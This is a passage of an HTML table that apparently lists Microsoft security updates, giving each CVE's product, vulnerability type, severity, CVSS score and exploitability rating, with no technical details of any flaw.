  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
